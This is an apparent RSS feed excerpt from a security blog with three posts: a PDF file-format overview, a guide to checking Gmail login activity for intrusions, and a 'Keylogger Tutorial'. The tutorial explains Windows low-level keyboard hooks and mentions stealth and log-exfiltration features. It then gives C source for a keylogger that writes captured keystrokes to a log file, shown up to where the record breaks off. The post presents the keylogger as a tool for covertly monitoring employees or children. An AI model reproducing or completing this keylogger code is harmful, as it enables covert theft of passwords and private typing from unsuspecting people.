		<guid isPermaLink="false">http://www.secsavvy.com/?p=125</guid>
		<description><![CDATA[Portable Document Format(PDF) is a file format for representing documents in a manner independent of the application software, hardware, and operating system used to create them and of the output device on which they are to be displayed or printed. PDF syntax consists of four main components: Objects File Structure Document Structure Content Stream Objects [...]]]></description>
			<content:encoded><![CDATA[<p></br><br />
Portable Document Format(PDF) is a file format for representing documents in a manner independent of the application software, hardware, and operating system used to create them and of the output device on which they are to be displayed or printed.<br /></br><br /></br><span id="more-125"></span><br /></br><br /></br><br /></br><br /></br><br /></br><br /></br><br /></br><br />
<br /></br><br />
PDF syntax consists of four main components:</p>
<ol>
<li> Objects</li>
<li> File Structure</li>
<li>Document Structure</li>
<li>Content Stream</li>
</ol>
<p><strong>Objects</strong></p>
<p>A PDF file consists primarily of <em>objects</em>, of which there are eight types:</p>
<ol>
<li>Boolean values, representing      <em>true</em> or <em>false</em></li>
<li>Numbers include integer and      real</li>
<li>Strings</li>
<li>Names</li>
<li>Arrays, ordered collections      of objects</li>
<li>Dictionaries, collections of      objects indexed by Names</li>
<li>Streams, usually containing      large amounts of data</li>
<li>The null object denoted by      keyword null</li>
</ol>
<p><strong> </strong></p>
<p><strong>Strings Objects</strong></p>
<p>String objects can be represented in two ways:</p>
<ul>
<li>Literal Strings</li>
<li>Hexadecimal Strings</li>
</ul>
<p><em>Literal Strings</em> consists of any number of characters between opening and closing parenthesis.</p>
<p>Example</p>
<p>(This is a string objects)</p>
<p>If string is too long then it can be represented using backslash as shown below</p>
<p>(This is a very long\</p>
<p>String.)</p>
<p><em>Hexadecimal Strings</em> consists of hexadecimal character enclose with angel bracket</p>
<p>Example:</p>
<p>&lt;A0C1D2E3F1&gt;</p>
<p>Each pair of hexadecimal defines one byte of string.<br />
<br /></br><br />
<strong>Names Objects</strong></p>
<p>A names object is uniquely defined by sequence of characters. Slash character(/) defined a name.</p>
<p>Exmaple:</p>
<p>/secsavvy</p>
<p>/SecSavvy</p>
<p>Both are different name.</p>
<p>/Sec#20Savvy mean Sec Savvy 20 is hexadecimal value for white space.</p>
<p>Note: Pdf is case-sensitive.<br />
<br /></br><br />
<strong>Array Objects</strong></p>
<p>An array object is collection of objects. PDF array object can be heterogeneous. It is defined with square brackets.</p>
<p>Example:</p>
<p>[1 (string) /Name 3.14]<br />
<br /></br><br />
<strong>Dictionary Objects</strong></p>
<p>Dictionary object consists of pairs of objects. The first element is key and the second is value.</p>
<p>The key must be name. A dictionary is written as a sequence of key-value pairs enclosed in double angle brackets (&lt;&lt; … &gt;&gt;).</p>
<p>Example:</p>
<p>&lt;&lt;  /Type /Pages</p>
<p>/Kids [ 4 0 R ]</p>
<p>/Count 1</p>
<p>&gt;&gt;</p>
<p>Count is a key and 1 is value.<br />
<br /></br><br />
<strong>Stream Objects</strong></p>
<p>A stream object, like a string object, is a sequence of bytes. Stream can be of unlimited length, whereas a string is subject to an implementation limit. For this reason, objects with potentially large amounts of data, such as images and page descriptions, are represented as streams.</p>
<p>A stream consists of a dictionary followed by zero or more bytes bracketed between the keywords <strong>stream </strong>and <strong>endstream</strong>:</p>
<p><em>dictionary</em></p>
<p><strong>stream</strong></p>
<p>… <em>Zero or more bytes </em>…</p>
<p><strong>endstream</strong><br />
<br /></br><br />
<strong>Indirect Objects</strong></p>
<p>Objects may be labeled so that they can be referred to by other objects. A labeled object is called an indirect object.</p>
<p>Example</p>
<p>Consider this object</p>
<p>obj and endobj is a keyword.</p>
<p>10 0 <strong>obj</strong></p>
<p>(SecSavvy String)</p>
<p><strong>endobj</strong></p>
<p>This object defined a string of object number 10.</p>
<p>This object can be referred in a file by indirect reference as</p>
<p>10 0 <strong>R</strong></p>
<p><strong><br />
</strong></p>
<p><strong>Filters</strong></p>
<p>A <em>filter </em>is an optional part of the specification of a stream, indicating how the data in the stream must be decoded before it is used. For example, if a stream has an <strong>ASCIIHexDecode </strong>filter, an application reading the data in that stream will transform the ASCII hexadecimal-encoded data in the stream into binary data.</p>
<p>For data encoded using LZW and ASCII base-85 encoding (in that order) can be decoded using the following entry in the stream dictionary:</p>
<p>/Filter [ /ASCII85Decode /LZWDecode ]</p>
<p>Example</p>
<p>1 0 obj</p>
<p>&lt;&lt; /Length 534 /Filter [ /ASCII85Decode /LZWDecode ]&gt;&gt;</p>
<p>stream</p>
<p>J..)6T`?p&amp;&lt;!J9%_[umg"B7/Z7KNXbN'S+,*Q/&amp;"OLT'FLIDK#!n`$"&lt;Atdi`\Vn%b%)&amp;'cA*VnK\CJY(sF&gt;c!Jnl@RM]WM;jjH6Gnc75idkL5]+cPZKEBPWdR&gt;FF(kj1_R%W_d&amp;/jS!;iuad7h?[L−F$+]]0A3Ck*$I0KZ?;&lt;)CJtqi65XbVc3\n5ua:Q/=0$W&lt;#N3U;H,MQKqfg1?:lUpR;6oN[C2E4ZNr8Udn.'p+?#X+1&gt;0Kuk$bCDF/(3fL5]Oq)^kJZ!C2H1&#8242;TO]Rl?Q:&amp;&#8217;&lt;5&amp;iP!$Rq;BXRecDN[IJB`,)o8XJOSJ9sDS]hQ;Rj@!ND)bD_q&amp;C\g:inYC%)&amp;u#:u,M6Bm%IY!Kb1+&#8221;:aAa&#8217;S`ViJglLb8&lt;W9k6Yl\\0McJQkDeLWdPN?9A&#8217;jX*al&gt;iG1p&amp;i;eVoK&amp;juJHs9%;Xomop&#8221;5KatWRT&#8221;JQ#qYuL,JD?M$0QP)lKn06l1apKDC@\qJ4B!!(5m+j.7F790m(Vj88l8Q:_CZ(Gm1%X\N1&amp;u!FKHMB~&gt;</p>
<p>endstream</p>
<p>endobj</p>
<p>List of Standard Filters:</p>
<ul>
<li>ASCIIHexDecode</li>
<li>ASCII85Decode</li>
<li>LZWDecode</li>
<li>FlateDecode</li>
<li>RunLengthDecode</li>
<li>CCITTFaxDecode</li>
<li>JBIG2Decode</li>
<li>DCTDecode</li>
<li>JPXDecode</li>
<li>Crypt</li>
</ul>
<p><strong>File Structure</strong></p>
<p>PDF file consists of 4 elements:</p>
<ul>
<li>PDF header identifying the PDF specification.</li>
<li>A <em>body </em>containing the objects that make up the document contained in the file</li>
<li>A <em>cross-reference table </em>containing information about the indirect objects in the file</li>
<li>A <em>trailer </em>giving the location of the cross-reference table and of certain special objects within the body of the file.</li>
</ul>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/09/Pdf-File-Structure.jpg"><img class="aligncenter size-full wp-image-126" title="Pdf File Structure" src="http://www.secsavvy.com/wp-content/uploads/2010/09/Pdf-File-Structure.jpg" alt="Pdf File Structure" width="266" height="402" /></a><br />
<strong>Cross Reference Table</strong></p>
<p>The <em>cross-reference table </em>contains information that permits random access to indirect objects within the file so that the entire file need not be read to locate any particular object. The table contains a one-line entry for each indirect object, specifying the location of that object within the body of the file.</p>
<p>Each cross-reference section begins with a line containing the keyword <strong>xref</strong>. Following this line are one or more <em>cross-reference subsections</em>, which may appear in any order.</p>
<p>Each cross-reference subsection contains entries for a contiguous range of object numbers. The subsection begins with a line containing two numbers separated by a space: the object number of the first object in this subsection and the number of entries in the subsection. For example, the line</p>
<p>0 8</p>
<p>introduces a subsection containing five objects numbered consecutively from 0 to 8.</p>
<p>xref</p>
<p>0 8</p>
<p>0000000000 65535 f</p>
<p>0000000009 00000 n</p>
<p>0000000074 00000 n</p>
<p>0000000120 00000 n</p>
<p>0000000179 00000 n</p>
<p>0000000364 00000 n</p>
<p>0000000466 00000 n</p>
<p>0000000496 00000 n</p>
<p>0000000009 is 10 digit byte offset in the case of in-use entry , giving the number of bytes from the beginning of the file to the beginning of the object.</p>
<p>0000000000 is the 10-digit object number of the next free object int the case of free entry</p>
<p>Example of Simple Hello World Text PDF</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/12/Pdf-Example-3.jpg"><img class="size-full wp-image-127" title="Pdf Example 1" src="http://www.secsavvy.com/wp-content/uploads/2010/12/Pdf-Example-3.jpg" alt="Pdf Example" width="647" height="875" /></a></p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/12/Pdf-Example-4.jpg"><img class="size-full wp-image-128" title="Pdf Example 2" src="http://www.secsavvy.com/wp-content/uploads/2010/12/Pdf-Example-4.jpg" alt="Pdf Example" width="716" height="862" /> </a><br />
<a href="http://www.secsavvy.com/wp-content/uploads/2010/12/Pdf-Example-5.jpg"><img src="http://www.secsavvy.com/wp-content/uploads/2010/12/Pdf-Example-5.jpg" alt="Pdf Example" title="Pdf Example 3" width="602" height="182" class="alignleft size-full wp-image-129" /></a><br />
<br /></br><br /></br><br /></br><br /></br><br /></br><br /></br><br /></br><br /></br><br /></br><br /></br></p>
<p>For more details refer this <a href="http://www.aiim.org/documents/standards/PDF-Ref/References/Adobe/PDFReference17.pdf" target="_blank">PDF Reference </a></p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/forensic/investigating-corrupted-pdf" rel="bookmark" class="crp_title">Investigating Corrupted PDF</a></li><br/><li><a href="http://www.secsavvy.com/malware/virus-defense" rel="bookmark" class="crp_title">Defenses Against Viruses</a></li><br/><li><a href="http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack" rel="bookmark" class="crp_title">Detecting Gmail Account Hack</a></li><br/><li><a href="http://www.secsavvy.com/internet-security/want-to-hack-passwords-in-firefox" rel="bookmark" class="crp_title">Want to hack passwords in Firefox??</a></li><br/><li><a href="http://www.secsavvy.com/forensic/ram-analysis" rel="bookmark" class="crp_title">RAM Analysis</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/vYLNd8XrrmXMnvQXmkqUKId_YpE/0/da"><img src="http://feedads.g.doubleclick.net/~a/vYLNd8XrrmXMnvQXmkqUKId_YpE/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/vYLNd8XrrmXMnvQXmkqUKId_YpE/1/da"><img src="http://feedads.g.doubleclick.net/~a/vYLNd8XrrmXMnvQXmkqUKId_YpE/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/t_4jzg8Dano" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/forensic/pdf-overview/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/forensic/pdf-overview</feedburner:origLink></item>
		<item>
		<title>Detecting Gmail Account Hack</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/YO7H_KzshE4/detecting-gmail-hack</link>
		<comments>http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack#comments</comments>
		<pubDate>Tue, 07 Sep 2010 12:47:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cyber Forensics]]></category>
		<category><![CDATA[Defenses]]></category>
		<category><![CDATA[Gmail]]></category>
		<category><![CDATA[Gmail Hacks]]></category>
		<category><![CDATA[Protection]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=117</guid>
		<description><![CDATA[Hello Friends, Today I will share about the technique which you can use to catch the hacker. If you are suspicious about some one accessing your Gmail account then you can follow these steps to verify it: Check your Logs Open up your Gmail account and navigate to the bottom of the page. Click on [...]]]></description>
			<content:encoded><![CDATA[<p>Hello Friends,</p>
<p>Today I will share about the technique which you can use to catch the hacker.</p>
<p>If you are suspicious about some one accessing your <a href="http://www.gmail.com" target="_blank">Gmail</a> account then you can follow these steps to verify it:<span id="more-117"></span><br />
<code></code><br />
<code></code><br />
<code></code><br />
<br /></br><br />
<br /></br></p>
<div class="highlighter">Check your Logs</div>
<p></br></p>
<ol>
<li>Open up your <a href="http://www.gmail.com/" target="_blank">Gmail</a> account and navigate to the bottom of the page.</li>
<p><code></code><br />
<a href="http://www.secsavvy.com/wp-content/uploads/2010/09/Gmail.jpg"><img class="aligncenter size-full wp-image-118" title="Gmail" src="http://www.secsavvy.com/wp-content/uploads/2010/09/Gmail.jpg" alt="Gmail Hack" width="667" height="154" /></a><br />
<code></code></p>
<li>Click on details.</li>
<p><code></code><br />
<a href="http://www.secsavvy.com/wp-content/uploads/2010/09/Gmail-Account-Hack.jpg"><img class="aligncenter size-full wp-image-119" title="Gmail Account Hack" src="http://www.secsavvy.com/wp-content/uploads/2010/09/Gmail-Account-Hack.jpg" alt="" width="655" height="735" /></a><br />
<code></code><br />
Now, you can see lists of  last 10 IP addresses from where you or hacker had logged into your <a href="http://www.gmail.com/" target="_blank">Gmail</a> account(Previously only last 5 IP addresses were shown).<br />
<br /></br><br />
<strong>IP address:</strong> An Internet Protocol address(IP address)  is a number assigned to devices(PC) in computer networks like telephone number is assigned to every telephone.<br />
<br /></br><br />
1st Column is <strong>Access type</strong>, if your are accessing your <a href="http://www.gmail.com/" target="_blank">Gmail</a> account from browser then you should see Browser in this column but if your Recent activity table is showing some POP access(Outlook, Thunderbird etc.), it may be a sign that your account has been compromised.<br />
<br /></br><br />
2nd Column is<strong> Location</strong>, this column shows your IP addresses from where you have accessed your account.  You can use this <a href="http://www.geobytes.com/iplocator.htm" target="_blank">IP Locator website</a> which will assist you in locating the geographical location of an IP Address. If one location is Pune and the other shows Chennai then someone else has accessed your account but if both shows same location then you need to know more information about this IP address.</p>
<p>Open this whois <a href="http://whois.domaintools.com/" target="_blank">website</a> and enter the IP address. You will see lots of information like ISP name, address, contact number, email address etc which will help you to decide whether your account has been compromised or not.
</ol>
<p><strong>Concurrent Sessions</strong><br />
If your mail is currently being accessed from another location, you will see  list of other session(s) in the Concurrent session information table. You can sign out all sessions other than your current session by clicking Sign out all other sessions and change your password if you think your account has been compromised.</p>
<p>Hope you enjoyed this post , feel free to comment……</p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/security-tools/how-to-hack-google-password" rel="bookmark" class="crp_title">How to hack Google password??</a></li><br/><li><a href="http://www.secsavvy.com/internet-security/want-to-hack-passwords-in-firefox" rel="bookmark" class="crp_title">Want to hack passwords in Firefox??</a></li><br/><li><a href="http://www.secsavvy.com/malware/virus-defense" rel="bookmark" class="crp_title">Defenses Against Viruses</a></li><br/><li><a href="http://www.secsavvy.com/forensic/investigating-corrupted-pdf" rel="bookmark" class="crp_title">Investigating Corrupted PDF</a></li><br/><li><a href="http://www.secsavvy.com/exploit-development/overwrite-eip" rel="bookmark" class="crp_title">How to find addresses to overwrite EIP??</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/Jo0qpzZJLRghc5AzLhorw5ta-GM/0/da"><img src="http://feedads.g.doubleclick.net/~a/Jo0qpzZJLRghc5AzLhorw5ta-GM/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Jo0qpzZJLRghc5AzLhorw5ta-GM/1/da"><img src="http://feedads.g.doubleclick.net/~a/Jo0qpzZJLRghc5AzLhorw5ta-GM/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/YO7H_KzshE4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack</feedburner:origLink></item>
		<item>
		<title>Keylogger Tutorial</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/RuSI7NIx5cE/keylogger-tutorial</link>
		<comments>http://www.secsavvy.com/malware/keylogger/keylogger-tutorial#comments</comments>
		<pubDate>Wed, 01 Sep 2010 11:42:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[KeyLogger]]></category>
		<category><![CDATA[Source code]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=99</guid>
		<description><![CDATA[What is Keylogger? Keylogger is a program which logs everything which we type on our keyboard. So everything you type including passwords,website name etc is saved in your PC.Advanced keylogger include following features: Capture every keystroke. Captures screenshots of our PC at regular interval. Send screenshots and logs via mail or ftp Runs in stealth [...]]]></description>
			<content:encoded><![CDATA[<div class="highlighter">What is Keylogger?</div>
<p></br><br />
Keylogger is a program which logs everything which we type on our keyboard. So everything you type including passwords,website name etc is saved in your PC.Advanced keylogger include following features:<span id="more-99"></span>  </p>
<ul>
<br /></br><br /></br><br /></br></p>
<li>Capture every keystroke.</li>
<li>Captures screenshots of our PC at regular interval.</li>
<li>Send screenshots and logs via mail or ftp</li>
<li>Runs in stealth mode and is not visible in the task bar, system tray, Task Manager, Windows Startup list etc.</li>
<li>It will record the application that was in use that received the keystroke. and many other features etc.</li>
</ul>
<p><code><br />
</code></p>
<div class="highlighter">Uses of Keylooger</div>
<p></br></p>
<ul>
<li>Monitor the activities of employee by employer.</li>
<li>Used to monitor the surfing habit of children by parents.</li>
<li>and many others&#8230; <img src='http://www.secsavvy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ul>
<p><code><br />
</code></p>
<div class="highlighter">Build your own Keylogger</div>
<p></br><br />
Now, I will show you one of the way to build your own keylogger in C.<br />
Prerequisite: You should know the basics of C Programming Language and Windows API.</p>
<p>Windows Hooking is one of the way to build your own keylogger.</p>
<p>Hooking mechanism permits us to intercept and alter the flow of messages in the OS before they reach the application.For different messages there are different types of hooks. For example, for keyboards message there is keyboard hook, for mouse message there is mouse hook etc. For complete list of different type of hook refer this  <a href="http://msdn.microsoft.com/en-us/library/ms644959%28v=VS.85%29.aspx" target="_blank">link</a>. A function that intercepts a particular type of event is known as a <em>hook procedure</em>. A hook procedure can act on each event it receives, and then modify or discard the event.</p>
<p>We will use hooking on Keyboard to monitor keyboard activity so every time user press any key our function is notified about it.</p>
<p>First of all, we will understand this two different type of code used in keyboard hooking:</p>
<ul>
<li> <strong>Virtual Key Code</strong></li>
<p>Virtual key code is the device independent code used by the operating system itself. For every key there is code associated with it e.g. VK_SHIFT(0&#215;10) is the virtual key code for Shift key. Visit this <a href="http://msdn.microsoft.com/en-us/library/dd375731%28v=VS.85%29.aspx" target="_blank">link</a> which shows the symbolic constant names, hexadecimal values, and mouse or keyboard equivalents for the virtual-key codes used by the system.</p>
<li><strong>Scan Code</strong></li>
<p>Scan Code is hardware dependent code that identifies which key is pressed or released. This code differs from keyboard to keyboard.</ul>
<p>When we press any key then it generate a scan code usually by keyboard device driver. OS translates this code to virtual key code which is normally used by programmer.</p>
<p>These are the Windows API used to build up a keylogger:</p>
<ul>
<li>Install a hook with the Windows API <strong>SetWindowsHookEx</strong> on keyboard.</li>
<p><em>SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc, hExe, 0);</em></p>
<p>1st Parameter idHook: WH_KEYBOARD_LL &#8211; Installs a hook procedure that monitors low-level keyboard input events.<br />
2nd Parameter lpfn: LowLevelKeyboardProc &#8211; A pointer to the hook procedure which is called when any keyboar event occurs<br />
3rd Parameter hMod: hExe &#8211; A handle to the DLL containing the hook procedure<br />
4th Parameter dwThreadId: 0 &#8211; The hook procedure is associated with all existing threads running(System-wide)</p>
<li> <strong>UnhookWindowsHookEx</strong> :Free system resources associated with the hook and removes a hook procedure</li>
<p><em>UnhookWindowsHookEx(hKeyHook);</em></p>
<p>Parameter hhk: hKeyHook &#8211; A handle to the hook to be removed.</p>
<li> <strong>GetAsyncKeyState</strong> : Determines whether a key is up or down at the time the function is called</li>
<p><em>GetAsyncKeyState(VK_SHIFT);</em></p>
<p>Parameter:VK_SHIFT is virtual key code for shift key<br />
For more details visit this <a href="http://msdn.microsoft.com/en-us/library/ms646293%28VS.85%29.aspx" target="_blank">link</a></p>
<li><strong>GetKeyNameText</strong>: Retrieves a string that represents the name of a key.</li>
<p><em>GetKeyNameText(dwMsg,key,15);</em></p>
<p>1st Parameter dwMsg contains the scan code and Extended flag<br />
2nd Parameter lpString: lpszName &#8211; The buffer that will receive the key name.<br />
3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character<br />
If the function succeeds, a null-terminated string is copied into the specified buffer,</p>
<li><strong>CallNextHookEx</strong>:  Passes the hook information to the next hook procedure</li>
<p><em>CallNextHookEx( NULL, nCode, wParam, lParam );</em></p>
<p>1st Parameter hhk &#8211; Optional<br />
2nd Parameter nCode &#8211; The next hook procedure uses this code to determine how to process the hook information.<br />
3rd Parameter wParam &#8211; The wParam value passed to the current hook procedure.<br />
4th Parameter lParam &#8211; The lParam value passed to the current hook procedure</p>
<li> <strong>RegisterHotKey</strong>: Defines a system-wide hot key of Alt+Ctrl+9</li>
<p><em>RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0&#215;39);</em></p>
<p>1st Parameter hWnd(optional) :NULL &#8211; A handle to the window that will receive hot key message generated by hot key.<br />
2nd Parameter id:1 &#8211; The identifier of the hot key<br />
3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL &#8211;  The keys that must be pressed in combination with the key specified by the 4th parameter in order to generate the WM_HOTKEY message.<br />
4th Parameter vk: 0&#215;39(9) &#8211; The virtual-key code of 9</ul>
<p><code><br />
</code></p>
<div class="highlighter">Algorithm</div>
<p></br></p>
<ol>
<li>Create a thread that starts keylogger function.</li>
<li> Install system wide keyboard hook using SetWindowsHookEx.</li>
<li> Check the virtual key code from Keyboard structure and write the actual key in the file.</li>
<li> CallNextHookEx is called to pass the hook to another application.</li>
<li> Also register a hot key (Atl+Ctrl+9) to exit the keylooger.</li>
<li>Unhook the hook procedure to free the resources.</li>
</ol>
<p>Please read the comments in the Code for better understanding.</p>
<div class="highlighter">Keylogger Code</div>
<p></br></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=99&amp;download=Keylogeer.c">Keylogeer.c</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p995"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
</pre></td><td class="code" id="p99code5"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;winuser.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// function to check caps lock</span>
<span style="color: #993333;">int</span> isCapsLock<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span>VK_CAPITAL<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span> <span style="color: #208080;">0x0001</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">else</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>    
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/* An application-defined callback function used with the SetWindowsHookEx function.
   The system calls this function every time a new keyboard input event is about to be posted into a thread input queue.
   1st Parameter  nCode - A code the hook procedure uses to determine how to process the message.
   2nd Parameter wParam - The identifier of the keyboard message. This parameter can be one of the
   following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP. 
   3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure. 
*/</span>
LRESULT CALLBACK LowLevelKeyboardProc<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> nCode<span style="color: #339933;">,</span> WPARAM wParam<span style="color: #339933;">,</span> LPARAM lParam<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #808080; font-style: italic;">/* This structure contains information about a low-level keyboard input like virtual code, scan code, flags,
       time stamp and additional information associated with the message.
    */</span>
    KBDLLHOOKSTRUCT <span style="color: #339933;">*</span>pKeyBoard <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>KBDLLHOOKSTRUCT <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>lParam<span style="color: #339933;">;</span>
    FILE <span style="color: #339933;">*</span>file<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> val<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    DWORD dwMsg <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
    file<span style="color: #339933;">=</span>fopen<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;C:<span style="color: #000099; font-weight: bold;">\\</span>EventLog.log&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span>wParam<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
&nbsp;
        <span style="color: #b1b100;">case</span> WM_KEYDOWN<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">// When the key has been pressed. Changed from WM_KEYUP to catch multiple strokes.</span>
        <span style="color: #009900;">&#123;</span>
            <span style="color: #666666; font-style: italic;">// Assign virtual key code to local variable</span>
            DWORD vkCode <span style="color: #339933;">=</span> pKeyBoard<span style="color: #339933;">-&gt;</span>vkCode<span style="color: #339933;">;</span>
&nbsp;
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>vkCode<span style="color: #339933;">&gt;=</span><span style="color: #0000dd;">39</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span>vkCode<span style="color: #339933;">&lt;=</span><span style="color: #0000dd;">64</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">// Keys 0-9</span>
            <span style="color: #009900;">&#123;</span>
&nbsp;
                <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">// Check if shift key is down (fairly accurate)</span>
                <span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span>vkCode<span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">// 0x30-0x39 is 0-9 respectively</span>
                    <span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x30</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;)&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x31</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;!&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x32</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;@&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">case</span> <span style="color: #208080;">0x33</span><span style="color: #339933;">:</span>
                        fputs<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;#&quot;</span><span style="color: #339933;">,</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
                        <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
